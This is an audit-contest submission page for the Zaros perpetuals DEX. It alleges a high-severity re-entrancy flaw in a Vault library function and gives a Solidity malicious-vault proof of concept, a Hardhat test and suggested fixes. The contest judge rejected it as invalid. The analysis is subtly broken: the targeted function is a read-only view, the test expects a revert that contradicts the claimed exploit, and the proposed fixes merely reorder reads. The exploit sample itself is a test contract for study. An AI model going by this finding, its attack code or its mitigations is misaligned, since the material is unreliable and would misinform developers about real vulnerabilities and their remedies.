Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Invalid

Re-Entrancy Risk in getTotalCreditCapacityUsd

Summary

The function getTotalCreditCapacityUsd in the Vault library calls IERC4626(self.indexToken).totalAssets(), which interacts with an external contract. If the external contract has a malicious implementation, it could re-enter and manipulate values before execution completes. This could allow an attacker to alter the vault’s total credit capacity, leading to financial loss.

Vulnerability Details

The function retrieves total asset data using:

uint256 totalAssets = IERC4626(self.indexToken).totalAssets();

Since this call is made inside a library, it lacks built-in reentrancy protection and depends on the calling contract's security measures. A malicious ERC-4626 vault can exploit this by re-entering the function before execution completes, leading to manipulated credit capacity calculations.

Root Cause

  • The Vault library makes an external call without enforcing reentrancy protection.

  • Because the function does not follow Checks-Effects-Interactions, it can be manipulated by re-entrant attacks.



Impact

  • Attackers can manipulate the vault’s total credit capacity by deploying a malicious ERC-4626 vault.

  • This can lead to incorrect financial calculations and fund mismanagement.

Tools Used

  • Hardhat (for proof-of-concept testing)

  • Slither (for static analysis)

  • Foundry (for further fuzz testing)

Proof of Concept

i simulate the vulnerability using a malicious ERC-4626 vault that re-enters the function.

1. Malicious ERC-4626 Vault

i create a vault that exploits the vulnerability:

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC4626/IERC4626.sol";
contract MaliciousVault is IERC4626 {
address public target;
bool public attackTriggered;
constructor(address _target) {
target = _target;
attackTriggered = false;
}
function totalAssets() external override returns (uint256) {
if (!attackTriggered) {
attackTriggered = true;
Vault(target).getTotalCreditCapacityUsd(); // Re-enter!
}
return 1000; // Fake value
}
}

2. Hardhat Test for Exploitation

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Re-Entrancy Exploit on getTotalCreditCapacityUsd", function () {
let vault, maliciousVault, owner;
beforeEach(async function () {
[owner] = await ethers.getSigners();
// Deploy the contract using the library
const VaultContract = await ethers.getContractFactory("VaultUsingLibrary");
vault = await VaultContract.deploy();
// Deploy malicious vault
const MaliciousVault = await ethers.getContractFactory("MaliciousVault");
maliciousVault = await MaliciousVault.deploy(vault.address);
// Set malicious vault as the index token
await vault.setIndexToken(maliciousVault.address);
});
it("Should allow re-entrancy and manipulate credit capacity", async function () {
await expect(vault.getTotalCreditCapacityUsd()).to.be.revertedWith("Re-entrancy detected!");
});
});

Mitigation

Since libraries do not support state variables (so we can't use ReentrancyGuard), we must apply the Checks-Effects-Interactions pattern:

1. Move External Calls to the End of the Function

Instead of fetching totalAssets() at the start, first perform all state-dependent calculations:

function getTotalCreditCapacityUsd(Vault.Data storage self) internal view returns (uint256) {
uint256 cachedValue = self.cachedCreditCapacity; // Fetch state first
uint256 totalAssets = IERC4626(self.indexToken).totalAssets(); // External call at the end
return totalAssets + cachedValue;
}

2. Fetch and Store Before Making External Calls

Another approach is storing the value first and then fetching assets later:

function getTotalCreditCapacityUsd(Vault.Data storage self) internal view returns (uint256) {
uint256 priorCredit = self.creditAmount; // Fetch before external call
uint256 totalAssets = IERC4626(self.indexToken).totalAssets(); // External call
return priorCredit + totalAssets;
}

Conclusion

The getTotalCreditCapacityUsd function is vulnerable to re-entrancy because it calls an external function before completing internal logic. Since this function is in a library, we cannot use ReentrancyGuard. Instead, the best mitigation is following Checks-Effects-Interactions by ensuring that external calls happen last in the function execution order.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.